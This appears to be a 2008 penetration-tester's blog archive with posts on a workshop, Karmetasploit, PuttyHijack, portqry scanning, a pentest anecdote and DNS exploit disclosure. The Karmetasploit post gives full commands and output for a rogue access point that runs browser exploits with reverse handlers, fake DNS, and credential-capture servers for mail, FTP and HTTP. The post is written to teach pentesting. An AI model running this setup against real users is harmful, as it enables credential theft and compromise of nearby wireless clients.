Friday, August 15, 2008

Crash Course In Penetration Testing Workshop at Toorcon

Joe and I will be conducting our Crash Course In Penetration Testing Workshop at Toorcon in September.

http://sandiego.toorcon.org/content/section/4/8/

Description

Instructors: Joseph McCray & Chris Gates
Includes: 250GB 2.5" USB Harddrive preloaded with lab VMWare images

This course will cover some of the newer aspects of pen-testing covering; Open Source Intelligence Gathering with Maltego and other Open Source tools, Scanning, Enumeration, Exploitation (Both remote and client-side) and Post-Exploitation relying heavily on the features included in the Metasploit Framework. We'll discuss our activities from both the Whitebox and Blackbox approach keeping stealth in mind for our Blackbox activities.

Web Application penetration testing will be covered as well with focus on practical exploitation of cross-site scripting (XSS), cross-site request forgery (CSRF), local/remote file includes, and SQL Injection.

The course will come with a complementary USB Harddrive loaded with the lab Virtual Machine images for you to play with so you can continue to hone your skills and learn new techniques even after the course is finished. Attendees will walk away with a current knowledge of how to pen-test both a network and a web application, all of the basic tools needed, and a set of practice exercises that they can use to improve their skills.

Thursday, August 14, 2008

Metasploit + Karma=Karmetasploit Part 1

HD Moore released some documentation to get karmetasploit working with the framework.

First you'll have to get an updated version of aircrack-ng because you'll need airbase-ng. I had 0.9.1 so I had to download and install the current stable version (1.0-rc1). If you have an old version you should be good dependency-wise. Ah, but there is a patch,(I used the 2nd patch), so apply that before you make/make install.

You may also need a current version of madwifi drivers (I used 0.9.4). I recently updated my kernel and that had hosed all my madwifi stuff up, so I had to reinstall. Ok, so got an updated version of aircrack, patched airbase-ng, and madwifi drivers and can inject packets? Let's continue.

Let's do our aireplay-ng test to see if things are working:

root@WPAD:/home/cg# aireplay-ng --test ath40
19:55:44 Trying broadcast probe requests...

19:55:44 Injection is working!

19:55:46 Found 5 APs


19:55:46 Trying directed probe requests...
19:55:46 00:1E:58:33:83:71 - channel: 4 - 'vegaslink'

19:55:52 0/30: 0%


19:55:52 00:14:06:11:42:A2 - channel: 4 - 'VEGAS.com'
19:55:58 0/30: 0%


19:55:58 00:13:19:5F:D1:D0 - channel: 6 - 'stayonline'
19:56:03 Ping (min/avg/max): 20.712ms/26.964ms/31.267ms Power: 14.80

19:56:03 5/30: 16%


19:56:03 00:14:06:11:42:A0 - channel: 4 - 'cheetahnetwork'

19:56:09 0/30: 0%


19:56:09 00:14:06:11:42:A1 - channel: 4 - 'Adult***Vegas'
19:56:15 0/30: 0%


Look's like we are good.

Now just follow the steps in the documentation, I installed dhcpd3 and set up my conf file, I did a svn update on the metasploit trunk, made sure the sqlite3 stuff was working and then tweaked my karma.rc file for the IP address I was on. Pretty straightforward.

With all the config files set up its pretty easy to get things going.

root@WPAD:/home/cg# airbase-ng -P -C 30 -v ath40
02:59:55 Created tap interface at0
02:59:55 Access Point with BSSID 00:19:7E:8E:72:87 started.
02:59:57 Got directed probe request from 00:1B:63:EF:9F:EC - "delonte"
02:59:58 Got broadcast probe request from 00:14:A5:2E:BE:2F
02:59:59 Got directed probe request from 00:1B:63:EF:9F:EC - "delonte"
03:00:02 Got broadcast probe request from 00:90:4B:C1:61:E4
03:00:03 Got directed probe request from 00:1B:63:EF:9F:EC - "delonte"
03:00:05 Got broadcast probe request from 00:14:A5:48:CE:68
03:00:07 Got broadcast probe request from 00:90:4B:EA:54:01
03:00:09 Got directed probe request from 00:1B:63:EF:9F:EC - "delonte"
03:00:12 Got directed probe request from 00:13:E8:A8:B1:93 - "stayonline"
----snip------
03:01:34 Got an auth request from 00:21:06:41:CB:50 (open system)
03:01:34 Client 00:21:06:41:CB:50 associated (unencrypted) to ESSID: "tmobile"
03:04:19 Got an auth request from 00:1B:77:23:0A:72 (open system)
03:04:19 Client 00:1B:77:23:0A:72 associated (unencrypted) to ESSID: "LodgeNet
**You get the idea...


airbase-ng creates an at0 tap so you have to configure it and set the mtu size (all this if from the karmetasploit documentation)

root@WPAD:/home/cg/evil/msf3# ifconfig at0 up 172.16.1.207 netmask 255.255.255.0

root@WPAD:/home/cg/evil/msf3# ifconfig at0 mtu 1400

root@WPAD:/home/cg/evil/msf3# ifconfig ath40 mtu 1800

After we get our IP stuff straight we need to tell the dhcpd server which interface to hand out IPs on.

root@WPAD:/home/cg/evil/msf3# dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0

Internet Systems Consortium DHCP Server V3.0.5
Copyright 2004-2006 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/
Wrote 4 leases to leases file.
Listening on LPF/at0/00:19:7e:8e:72:87/172.16.1/24
Sending on LPF/at0/00:19:7e:8e:72:87/172.16.1/24
Sending on Socket/fallback/fallback-net


After that we run our karma.rc file within using msfconsole.

root@WPAD:/home/cg/evil/msf3# ./msfconsole -r karma.rc



=[ msf v3.2-release

+ -- --=[ 304 exploits - 124 payloads

+ -- --=[ 18 encoders - 6 nops

=[ 79 aux


resource> load db_sqlite3

[*] Successfully loaded plugin: db_sqlite3

resource> db_create /root/karma.db

[*] The specified database already exists, connecting

[*] Successfully connected to the database

[*] File: /root/karma.db

resource> use auxiliary/server/browser_autopwn

resource> setg AUTOPWN_HOST 172.16.1.207

AUTOPWN_HOST => 172.16.1.207

resource> setg AUTOPWN_PORT 55550

AUTOPWN_PORT => 55550

resource> setg AUTOPWN_URI /ads

AUTOPWN_URI => /ads

resource> set LHOST 172.16.1.207

LHOST => 172.16.1.207

resource> set LPORT 45000

LPORT => 45000

resource> set SRVPORT 55550

SRVPORT => 55550

resource> set URIPATH /ads

URIPATH => /ads

resource> run

[*] Starting exploit modules on host 172.16.1.207...

[*] Started reverse handler

[*] Using URL: http://0.0.0.0:55550/exploit/multi/browser/mozilla_compareto

[*] Local IP: http://127.0.0.1:55550/exploit/multi/browser/mozilla_compareto

[*] Server started.

[*] Started reverse handler

[*] Using URL: http://0.0.0.0:55550/exploit/multi/browser/mozilla_navigatorjava

[*] Local IP: http://127.0.0.1:55550/exploit/multi/browser/mozilla_navigatorjava

[*] Server started.

[*] Started reverse handler

[*] Using URL: http://0.0.0.0:55550/exploit/multi/browser/firefox_queryinterface

[*] Local IP: http://127.0.0.1:55550/exploit/multi/browser/firefox_queryinterface

[*] Server started.

[*] Started reverse handler

[*] Using URL: http://0.0.0.0:55550/exploit/windows/browser/apple_quicktime_rtsp

[*] Local IP: http://127.0.0.1:55550/exploit/windows/browser/apple_quicktime_rtsp

[*] Server started.

[*] Started reverse handler

[*] Using URL: http://0.0.0.0:55550/exploit/windows/browser/novelliprint_getdriversettings
[*] Local IP: http://127.0.0.1:55550/exploit/windows/browser/novelliprint_getdriversettings
[*] Server started.

[*] Started reverse handler

[*] Using URL: http://0.0.0.0:55550/exploit/windows/browser/ms03_020_ie_objecttype

[*] Local IP: http://127.0.0.1:55550/exploit/windows/browser/ms03_020_ie_objecttype

[*] Server started.

[*] Started reverse handler

[*] Using URL: http://0.0.0.0:55550/exploit/windows/browser/ie_createobject

[*] Local IP: http://127.0.0.1:55550/exploit/windows/browser/ie_createobject

[*] Server started.

[*] Started reverse handler

[*] Using URL: http://0.0.0.0:55550/exploit/windows/browser/ms06_067_keyframe

[*] Local IP: http://127.0.0.1:55550/exploit/windows/browser/ms06_067_keyframe

[*] Server started.

[*] Started reverse handler

[*] Using URL: http://0.0.0.0:55550/exploit/windows/browser/ms06_071_xml_core

[*] Local IP: http://127.0.0.1:55550/exploit/windows/browser/ms06_071_xml_core

[*] Server started.

[*] Started reverse handler

[*] Server started.

[*] Using URL: http://0.0.0.0:55550/ads

[*] Local IP: http://127.0.0.1:55550/ads

[*] Server started.

[*] Auxiliary module running as background job

resource> use auxiliary/server/capture/pop3

resource> set SRVPORT 110

SRVPORT => 110

resource> set SSL false

SSL => false

resource> run

[*] Server started.

[*] Auxiliary module running as background job

resource> use auxiliary/server/capture/pop3

resource> set SRVPORT 995

SRVPORT => 995

resource> set SSL true

SSL => true

resource> run

[*] Server started.

[*] Auxiliary module running as background job

resource> use auxiliary/server/capture/ftp

resource> run

[*] Server started.

[*] Auxiliary module running as background job

resource> use auxiliary/server/capture/imap

resource> set SSL false

SSL => false

resource> set SRVPORT 143

SRVPORT => 143

resource> run

[*] Server started.

[*] Auxiliary module running as background job

resource> use auxiliary/server/capture/imap

resource> set SSL true

SSL => true

resource> set SRVPORT 993

SRVPORT => 993

resource> run

[*] Server started.

[*] Auxiliary module running as background job

resource> use auxiliary/server/capture/smtp

resource> set SSL false

SSL => false

resource> set SRVPORT 25

SRVPORT => 25

resource> run

[*] Server started.

[*] Auxiliary module running as background job

resource> use auxiliary/server/capture/smtp

resource> set SSL true

SSL => true

resource> set SRVPORT 465

SRVPORT => 465

resource> run

[*] Server started.

[*] Auxiliary module running as background job

resource> use auxiliary/server/fakedns

resource> unset TARGETHOST

Unsetting TARGETHOST...

resource> set SRVPORT 5353

SRVPORT => 5353

resource> run

[*] Auxiliary module running as background job

resource> use auxiliary/server/fakedns

resource> unset TARGETHOST

Unsetting TARGETHOST...

resource> set SRVPORT 53

SRVPORT => 53

resource> run

[*] Auxiliary module running as background job

resource> use auxiliary/server/capture/http

resource> set SRVPORT 80

SRVPORT => 80

resource> set SSL false

SSL => false

resource> run

[*] Server started.

[*] Auxiliary module running as background job

resource> use auxiliary/server/capture/http

resource> set SRVPORT 8080

SRVPORT => 8080

resource> set SSL false

SSL => false

resource> run

[*] Server started.

[*] Auxiliary module running as background job

resource> use auxiliary/server/capture/http

resource> set SRVPORT 443

SRVPORT => 443

resource> set SSL true

SSL => true

resource> run

[*] Server started.

[*] Auxiliary module running as background job

resource> use auxiliary/server/capture/http

resource> set SRVPORT 8443

SRVPORT => 8443

resource> set SSL true

SSL => true

resource> run

[*] Server started.

[*] Auxiliary module running as background job

msf auxiliary(http) >


Next post we'll see karmetasploit in action.

Monday, August 4, 2008

Putty Hijack released by Insomnia Security

Brett Moore of Insomnia Security has released Putty Hijack

Link: http://www.insomniasec.com/releases/tools

From the announcement:

PuttyHijack is a POC tool that injects a dll into the Putty

process to hijack an existing, or soon to be created, connection.

This can be useful during penetration tests when a windows box that
has been compromised is used to SSH/Telnet into other servers.

The injected DLL installs some hooks and creates a socket for a
callback connection that is then used for input/output redirection.

It does not kill the current connection, and will cleanly uninject
if the socket or process is stopped.

Works as described.

Issues:
* only works if putty is already running, otherwise it has nothing to hook. So in its current state its cute but not usable.

Comments:
*what would be handy would be for the tool to run and wait for putty to start then do the hooking.
*low tech solution of just replacing the putty link with a bat file calling both putty.exe and puttyhijack thus far is not working :-(
*source is included so realistically i should shut up and just fire up visual studio


Screen shots


Pre-Review Blown To Bits: Your Life, Liberty, and Happiness After the Digital Explosion

Just a quick pre-review for Blown To Bits: Your Life, Liberty, and Happiness After the Digital Explosion. It is an excellent follow up to No Place to Hide. Its been updated, talks about current privacy issues and is thus far well written. The authors do a great job of laying out how we have given away or privacy for convenience and how the big data shops technically aren't breaking any laws which works out just fine for the government who gladly pay them to spy and aggregate data.

I should be able to finish it up on the way to vegas and hopefully will remember enough post defcon to write the review ;-)


Saturday, August 2, 2008

DHCP Script Injection

Very cool paper and demo over at MWR InfoSecurity on DHCP Script Injection.

The paper covers attacking the pfsense admin interface and injecting script into the DHCP hostname field. Because the admin interface runs as root your code is executed as root. The demo also uses a CRSF attack to change the password but I think its far more interesting to be able to inject script into the interface and run with all the exploitation options available there. They also released the tool to do it.

Full Paper
http://www.mwrinfosecurity.com/publications/mwri_behind-enemy-lines_2008-07-25.pdf

Paper on the DHCP Script Injection
http://www.mwrinfosecurity.com/publications/mwri_pfsense-dhcp-script-injection_2008-07-28.pdf

Demo
http://www.mwrinfosecurity.com/publications/pfsense.htm

Thursday, July 31, 2008

Blackhat USA 2008 Fantasy League Picks

Blackhat 2008 Fantasy League picks.

because I'm poor and my company is cheap i'm not making it to BH, but Wesley McGrew and I have decided to do our fantasy picks.

So here is the order I plan to pirate the BH videos in...

Day 1

10:00 - 11:00 Nmap: Scanning the Internet

11:15 - 12:30 Dan's talk will probably be too crowded so... Jinx: Malware 2.0

13:45 - 15:00 dunno....

15:15 - 16:30 Malware Analysis

16:45 - 18:00 Metapost exploitation **anything by val smith will be good

Day 2

10:00 - 11:00 Encoded, Layered and Transcoded Syntax Attacks: Threading the Needle Past Web Application Security

11:15 - 12:30 Circumventing Automated JavaScript Analysis Tools

13:45 15:00 Hacking and Injecting Federal Trojans

15:15 - 16:30 Most likely Jeremiah Grossman's talk or continue with Hacking and Injecting Federal Trojans

16:45 - 18:00 Pushing the Camel Through the Eye of a Needle or Methods for Understanding Targeted Attacks with Office Document

Tuesday, July 29, 2008

Its not nmap but it gets the job done -- portqry

Scanning once you are on the LAN can pose a problem. Nmap requires installing pcap and usually an interactive install (metacab is an option depending on scope) and some AV's will flag on those types of things (which is understandable). Since there is no native scanning capability in windows you are forced to either install something or upload a standalone binary. Foundstone's scanline is one option but its not one of my favorites. You can write your own and upload that but I'd hate to have some custom code submitted to some AV vendor by some motivated admin. Or you can upload Microsoft's portqry.

C:\>portqry -n server1.company.com -e 3389
Querying target system called:
server1.company.com
Attempting to resolve name to IP address...
Name resolved to 10.1.1.1
querying...
TCP port 3389 (unknown service): LISTENING


Checking out the KB article on portqry will give you some of its more useful features.
Some fun options are its ability to send default ldap queries:

portqry -n myserver -p udp -e 389

UDP port 389 (unknown service): LISTENING or FILTERED
Sending LDAP query to UDP port 389...

LDAP query response:

currentdate: 12/13/2003 05:42:40 (unadjusted GMT)
subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=domain,DC=example,DC=com
dsServiceName: CN=NTDS Settings,CN=myserver,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=domain,DC=example,DC=com
namingContexts: DC=domain,DC=example,DC=com
defaultNamingContext: DC=domain,DC=example,DC=com
schemaNamingContext: CN=Schema,CN=Configuration,DC=domain,DC=example,DC=com
configurationNamingContext: CN=Configuration,DC=domain,DC=example,DC=com
rootDomainNamingContext: DC=domain,DC=example,DC=com
supportedControl: 1.2.840.113556.1.4.319
supportedLDAPVersion: 3
supportedLDAPPolicies: MaxPoolThreads
highestCommittedUSN: 4259431
supportedSASLMechanisms: GSSAPI
dnsHostName: myserver.domain.example.com
ldapServiceName: domain.example.com:myserver$@domain.EXAMPLE.COM
serverName: CN=myserver,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=domain,DC=example,DC=com
supportedCapabilities: 1.2.840.113556.1.4.800
isSynchronized: TRUE
isGlobalCatalogReady: TRUE
domainFunctionality: 0
forestFunctionality: 0
domainControllerFunctionality: 2

======== End of LDAP query response ========

UDP port 389 is LISTENING


and "sqlpings"

portqry -n 192.168.1.20 -e 1434 -p udp

You receive the following output:


Querying target system called:

192.168.1.20

querying...

UDP port 1434 (ms-sql-m service): LISTENING or FILTERED

Sending SQL Server query to UDP port 1434...

Server's response:

ServerName SQL-Server1
InstanceName MSSQLSERVER
IsClustered No
Version 8.00.194
tcp 1433
np \\SQL-Server1\pipe\sql\query

==== End of SQL Server query response ====

UDP port 1434 is LISTENING

It also does snmp queries and ISA queries and evidently RPC end-point mapping as well.

There are other fun features and the localhost options are worth looking into as well.

Some of the not so fun stuff. No randomizing ports. You can do an ordered list or ranges but no random. ONLY ONE HOST AT A TIME :-( but that's what batch files are for.

If anyone else is using this for pentests please let me know your thoughts.

Additional information on metacab: http://www.phx2600.org/forum/viewtopic.php?t=951&start=0

Monday, July 28, 2008

Passed My CISA

got word I passed my CISA.

ph33r me!

I'll pass on the certification hating, see my posts on CEH != competent pentester and CISSP != competent pentester...pretty much the same feelings on this one.

*edit
looks like I had already done a CISA post...so i'll still spare you the hatin'

Sunday, July 27, 2008

The Importance Of Internal Monitoring

So last assessment I got caught on the first internal port scan. Seems that all the internal routing was done via static routes so when I tried to scan a subnet that wasn't being used those packets would hit the firewall and then create a syslog error which in turn would display on the big TV in the NOC. Bummer for me...of course I didn't know this at the time, I just knew they saw me.

Second try. I had 2 class B's to look at so I took one of the shells from the snapshot viewer exploit and had it ping .0 of every class C in the network range. Whatever replied I took as a "good" subnet and if it didn't I marked it as not having anything listening and removed it from subsequent scans. Did I miss some boxes? Probably...didn't matter in this case.

Armed with my new ranges, minus off limit ones and dead ones, I started a new nmap scan looking for just a few ports that I had exploits for and let it roll at a blistering T2 pace. It did its thing and finished like 40 hours later and then I did my thing trying to do some manual enumeration and exploitation.

I upped the intensity as the week went on and never had any other trouble or any of my "worker bees" taken off line for misbehaving. So all was good.

At the outbrief it was determined that I found a fatal flaw with their system that there was no internal IDS monitoring for suspicious activity on the LAN. Had their been I probably would have been seen again but they had figured that anyone getting into the network would make the same mistake I had made the first time and scan or try to exploit non-used networks and they would catch them. I lucked out that 1) my ping sweep wasn't logged (should have been) or wasn't noticed after the fact and 2) I had more than one box on the LAN...I figured it was 50/50 that I would get seen with the ping sweep and worst case it would lead back to one of their boxes and not mine.

So what's the point? You need something watching your internal network even if its for the straight up blatant shit that could be happening. Had something been in place they would have definitely caught later port scans, enumeration, and exploit attempts.

Friday, July 25, 2008

Its the end of the world as we know it...and I feel fine

I'm confused about what all the debate is over HD and I)ruid releasing exploit code.

Every time there is a new vulnerability WITHOUT code everyone wants to debate and bitch about the "real impact" because there is no exploit code. But as soon as exploit code comes out all the bloggers and security people get to do the "Patch Now!" post. SO, if the vulnerability is indeed as serious as people say it is...You should all be kissing HD's and I)ruid's asses for throwing out the ammunition to get the serious vulnerability patched in hurry.

Is the average fresh CEH graduate script kiddie going to pwn the internet with this aux module? Hell no. After they get a domain poisoned, they still have to launch some sort of client side attack, deliver some malware that won't get flagged by AV, secure the box, and manage all the bots. Is that realistic for the average "script kiddie"? I don't think so.

Maybe a real bad guy can make that happen, but to think that "real bad guys" didn't already have this exploit after all the talk about it is just plain asinine.

I'm personally glad i have at least another quarter of job security, this kind of fear mongering is always great for job security and buying new toys.

**edit
Richard Bejtlich wrote up a similar but better response to the issue: http://taosecurity.blogspot.com/2008/07/dns-and-cyber-tardis-problem.html

**edit #2
Good writeup on the verizon security blog about the issue and possible scenarios.
http://securityblog.verizonbusiness.com/2008/07/25/dns-exploits-what-could-actually-happen/